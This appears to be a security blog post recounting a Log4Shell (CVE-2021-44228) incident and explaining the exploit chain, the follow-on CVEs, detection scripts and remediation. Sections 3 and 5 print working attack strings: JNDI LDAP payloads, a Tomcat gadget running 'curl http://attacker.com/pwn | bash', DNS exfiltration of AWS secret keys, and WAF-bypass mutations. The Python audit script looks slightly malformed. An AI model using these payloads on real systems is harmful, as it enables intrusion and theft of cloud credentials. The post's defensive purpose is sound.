MODRACXKENNETH D'SILVA

← Archive & Insights

Log4Shell (CVE-2021-44228): The RCE That Shook the Internet

At 11:42 PM on a Thursday, our SIEM triggered on an outbound LDAP connection originating from an internal Elasticsearch node. How Log4Shell transformed every logged string into an unauthenticated root shell, the cascading sequence of failed patches, and the complete audit blueprint.

By Kenneth D'SilvaReading Time: 35 min readCategory: Security & Compliance

1. December 9, 2021: The Outbound Packet on Port 1389

It was 11:42 PM on Thursday, December 9, 2021, when our private Datadog and AWS VPC flow alarms fired across four production clusters. A client operating an enterprise omni-channel retail backend — doing roughly £45M annually on a headless Magento infrastructure — had just initiated an outbound TCP connection from their private Elasticsearch cluster directly to an untrusted IP address in St. Petersburg on port 1389.

The Elasticsearch cluster was isolated inside an AWS private subnet with no public ingress route. It was never meant to speak to the public internet at all. But someone had submitted a customer service contact inquiry through the storefront with their first name set to ${jndi:ldap://45.154.255.xxx:1389/Exploit}. The frontend PHP service happily logged the contact message to a centralised ELK stack. When Log4j 2 parsed that string inside the Elasticsearch ingest node, the JVM obediently stopped what it was doing, parsed the JNDI prefix, opened an outbound LDAP connection across the VPC NAT gateway, and attempted to download and execute compiled Java bytecode into the running JVM heap.

That night, I watched the global internet undergo what CISA director Jen Easterly accurately termed "the most severe vulnerability I've seen in my decades-long career." CVE-2021-44228 (Log4Shell) was assigned a CVSS v3 score of 10.0. Over the next ten days, the open-source community, cloud providers, and every Fortune 500 engineering team learned the brutal difference between patching an application and untangling a structural dependency nested four layers deep inside enterprise infrastructure.

2. The Log4j Vulnerability Sequence: Why One Patch Was Not Enough

The initial reaction from the Apache Software Foundation was to issue Log4j 2.15.0 on December 6. Within 72 hours, security researchers bypassed the mitigation, triggering a chaotic cascade of four sequential CVEs over ten days:

CVE ID CVSS Disclosed Vulnerability Mechanism Broken Patch / Affected Version Effective Fix
CVE-2021-44228 10.0 Dec 9, 2021 Unauthenticated JNDI LDAP/RMI Lookup Remote Code Execution Log4j 2.0-beta9 to 2.14.1 Upgrade to 2.15.0 (Bypassed)
CVE-2021-45046 9.0 Dec 14, 2021 RCE via Thread Context Map (MDC) when Pattern Layout uses ${ctx:...} Log4j 2.15.0 Upgrade to 2.16.0 (JNDI disabled completely)
CVE-2021-45105 7.5 Dec 18, 2021 Denial of Service via Uncontrolled Recursive Lookups (${${::-${::-$}}}) Log4j 2.0-beta9 to 2.16.0 Upgrade to 2.17.0 (Recursive evaluation disabled)
CVE-2021-44832 6.6 Dec 28, 2021 RCE via JDBCAppender with Attacker-Controlled JNDI DataSource Log4j 2.0-beta9 to 2.17.0 Upgrade to 2.17.1 (Strict JNDI protocol permissions)

The initial 2.15.0 patch attempted to restrict JNDI lookups to localhost. However, attackers quickly realised that if the Log4j configuration used non-default Pattern Layouts containing Context Lookups (such as $${ctx:loginId}), an attacker could craft input that evaluated JNDI lookups bypassing the localhost whitelist, upgrading CVE-2021-45046 from a low-severity DoS into a full 9.0 RCE. It was not until Log4j 2.16.0 — which completely removed support for message lookup patterns and disabled JNDI by default — that the core attack vector was neutralised.

3. Dissecting the Exploit: From String Interpolation to Arbitrary Bytecode Execution

To understand why Log4Shell was so devastating, you have to look at the architectural confluence of two Java enterprise features: Log4j Message Lookups and JNDI Dynamic Class Loading.

3.1 The StrSubstitutor Engine

Log4j introduced lookups to allow developers to enrich log lines with contextual runtime parameters. When Log4j formats a message, it passes the string through org.apache.logging.log4j.core.lookup.StrSubstitutor. This engine recursively resolves any token matching ${prefix:key}.

When the prefix is jndi, Log4j delegates the lookup to JndiLookup.java, invoking javax.naming.InitialContext.lookup(name). There was zero sanitisation on whether the string originated from the developer's trusted template or from untrusted user data passed into a log parameter.

// The vulnerable execution flow in Log4j Core
public class JndiLookup implements StrLookup {
    @Override
    public String lookup(final LogEvent event, final String key) {
        if (key == null) {
            return null;
        }
        try {
            // Unsanitised user input passed directly to JNDI Context!
            final JndiManager jndiManager = JndiManager.getDefaultManager();
            return Objects.toString(jndiManager.lookup(key), null);
        } catch (final NamingException e) {
            LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", key, e);
            return null;
        }
    }
}

3.2 The JNDI + LDAP Callback Chain

When InitialContext.lookup("ldap://attacker.com:1389/Exploit") executes inside a Java application, the standard Java Naming and Directory Interface initiates the following network and memory exchange:

Target JVM (Victim)                                Attacker Infrastructure
   |                                                        |
   |--- 1. HTTP Request (User-Agent: ${jndi:ldap://...}) --->|
   |    [Application passes string to logger.info()]        |
   |                                                        |
   |--- 2. Outbound LDAP Search Request (Port 1389) ------->|
   |                                                        |
   |<-- 3. LDAP Search Result (Returns Reference Object) ---|
   |       javaClassName: "Exploit"                         |
   |       javaCodeBase: "http://attacker.com:8000/"        |
   |       javaFactory: "Exploit"                           |
   |                                                        |
   |--- 4. HTTP GET /Exploit.class (Port 8000) ------------>|
   |                                                        |
   |<-- 5. Returns Compiled Bytecode -----------------------|
   |                                                        |
   | [Target JVM instantiates Exploit.class]                |
   | [Static Initializer executes /bin/bash payload]        |
   |                                                        |
   v [FULL ROOT / APPLICATION SERVER COMPROMISE]            v

3.3 The JDK Version Myth: trustURLCodebase vs Local Gadget Chains

Early in the incident, many engineering teams believed they were immune because they were running modern Java runtime environments (JDK 8u191+, JDK 11.0.1+). In these versions, Oracle set com.sun.jndi.ldap.object.trustURLCodebase to false by default, preventing the JVM from downloading remote .class files from external HTTP codebases.

This assumption was dangerously false. As security researcher Michael Stepankin demonstrated, attackers did not need to download remote bytecode if the victim's classpath contained a local deserialization gadget. For example, if the application ran on Apache Tomcat (or bundled tomcat-embed-core.jar), attackers leveraged the org.apache.naming.factory.BeanFactory class to execute arbitrary commands locally using arbitrary EL expressions or javax.el.ELProcessor:

// Malicious LDAP Reference returning local Tomcat BeanFactory gadget
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,
    "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','curl http://attacker.com/pwn | bash']).start()")"));
return ref;

Even without Tomcat, attackers utilized JNDI DNS lookups (${jndi:dns://${env:AWS_SECRET_ACCESS_KEY}.attacker.com}) to silently exfiltrate environment variables and cloud IAM tokens via recursive DNS queries without ever opening a TCP connection.

4. The Impact on Ecommerce: Magento, Search, and ERP Integrations

While PHP itself was not directly vulnerable, the ecosystem supporting modern digital commerce was blanketed in exposed Log4j instances:

1. Elasticsearch / OpenSearch Clusters: Magento 2.4+ mandates Elasticsearch or OpenSearch as its catalogue search provider. Elasticsearch versions 5.0.0 through 7.16.0 bundled Log4j 2. While Elasticsearch 7.x ran under the Java Security Manager (which prevented arbitrary process execution via Runtime.getRuntime().exec()), it remained vulnerable to remote information disclosure, memory extraction, and cluster takeover.

2. Enterprise Service Buses (ESBs) & OMS: Middleware routing inventory between SAP, Microsoft Dynamics 365, and Magento (such as Apache Camel, MuleSoft, and Apache Kafka connectors) processed unescaped customer strings (shipping names, order comments, SKU parameters), triggering RCE inside internal warehouse networks.

3. CI/CD & Deploy Pipelines: Automated build nodes running Jenkins, SonarQube, and Gradle logged commit messages and PR titles containing JNDI strings, giving attackers direct control over deployment pipeline secrets.

5. Complete Detection & Threat Hunting Playbook

Attackers immediately weaponized nesting and case-conversion lookups to defeat simple WAF string signatures:

# Common WAF bypass mutations observed in production traffic:
${jndi:ldap://attacker.com/a}
${${lower:j}ndi:ldap://attacker.com/a}
${${upper:j}ndi:${lower:l}dap://attacker.com/a}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/a}
${${env:ENV_NAME:-j}ndi:ldap://attacker.com/a}
${jndi:${lower:l}${lower:d}a${lower:p}://attacker.com/a}

5.1 Production Log Parsing Script (Python)

To accurately audit web access logs without false negatives from nested obfuscation, use this Python script that decodes URI encoding, extracts nested braces, and flags all JNDI variations:

#!/usr/bin/env python3
"""
log4shell_audit.py - Deep scan web access logs for obfuscated JNDI lookups.
Usage: python3 log4shell_audit.py /var/log/nginx/access.log
"""
import sys
import re
import urllib.parse

LOG4J_REGEX = re.compile(
    r'(?i)$({|%7b)[^}%]*j[^}%]*n[^}%]*d[^}%]*i[^}%]*:[^}%]*(}|%7d)',
    re.IGNORECASE
)

def inspect_log(file_path):
    suspicious_count = 0
    with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
        for line_no, line in enumerate(f, 1):
            # Double URL-decode to catch nested percent-encoding
            decoded = urllib.parse.unquote(urllib.parse.unquote(line))
            # Remove whitespace and common anti-waf lookups
            normalized = re.sub(r'(\$\{[a-z0-9_-]+:([^}]*)\})', r'\2', decoded, flags=re.IGNORECASE)
            
            if LOG4J_REGEX.search(decoded) or 'jndi:' in normalized.lower():
                print(f"[!] Alert at Line {line_no}:")
                print(f"    Raw: {line.strip()[:200]}")
                suspicious_count += 1
                
    print(f"
[+] Scan complete. Total suspicious vectors detected: {suspicious_count}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <path_to_access_log>")
        sys.exit(1)
    inspect_log(sys.argv[1])

5.2 Linux Filesystem JAR Dependency Scanner

To identify vulnerable embedded Log4j classes inside nested JARs across your filesystem:

#!/usr/bin/env bash
# Deep scan all .jar, .war, and .ear files for JndiLookup.class
echo "[*] Scanning for vulnerable JndiLookup.class in Java archives..."

find / -type f \( -name "*.jar" -o -name "*.war" -o -name "*.ear" \) 2>/dev/null | while read -r file; do
    if unzip -l "$file" 2>/dev/null | grep -q "org/apache/logging/log4j/core/lookup/JndiLookup.class"; then
        echo "[!] CRITICAL: Vulnerable Log4j class found inside: $file"
    fi
done
echo "[*] Filesystem scan complete."

6. Remediation & Hardening Blueprint

Remediating Log4Shell requires a defence-in-depth posture across the application layer, JVM environment, and egress network:

  1. Upgrade Dependencies (Permanent Fix): Upgrade all Java dependencies to Log4j 2.17.1 (for Java 8+) or 2.12.4 (for Java 7). If using Spring Boot, update to spring-boot-starter-log4j2 version 2.6.2+.
  2. Hard Hot-Patch (When Upgrading is Blocked): If you cannot immediately redeploy an application, you can strip the vulnerable bytecode directly from the compiled JAR on disk:
    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  3. Strict Network Egress Filtering: Log4Shell fundamentally relies on outbound network connectivity to fetch LDAP references or exfiltrate DNS. Restrict backend database and application server subnets so that all default outbound internet access is denied. Allow outbound traffic only to explicitly whitelisted API endpoints via an HTTP proxy.
  4. Edge WAF Inspection: Deploy managed WAF rules at Cloudflare, AWS WAF, or Fastly to inspect all request headers (User-Agent, X-Forwarded-For, Referer, Cookie) for JNDI syntax patterns.

7. Frequently Asked Questions

Did the -Dlog4j2.formatMsgNoLookups=true flag completely solve the problem?

No. While this JVM flag mitigated the simple CVE-2021-44228 vector on Log4j versions 2.10 through 2.14.1, it did not protect against CVE-2021-45046 where Context Lookups (MDC patterns) were used in log formatting. Upgrading to 2.17.1 or deleting JndiLookup.class is the only complete mitigation.

Was Log4j 1.x affected by Log4Shell?

Log4j 1.x does not include the JndiLookup class and is not vulnerable to CVE-2021-44228. However, Log4j 1.x has been End-of-Life (EOL) since 2015 and contains its own severe flaws (such as CVE-2021-4104 when configured with JMSAppender). Running Log4j 1.x in production is a severe security violation.

How do I verify that an Elasticsearch cluster used by Magento is safe?

For Elasticsearch 7.16.1+ or 6.8.21+, Log4j has been upgraded to a patched release. For older 7.x clusters, ensure Elasticsearch is started with -Dlog4j2.formatMsgNoLookups=true in jvm.options and verify that the cluster cannot open outbound TCP connections to external IP ranges.

Suggested & Related Reading

Explore related engineering guides from Kenneth D'Silva: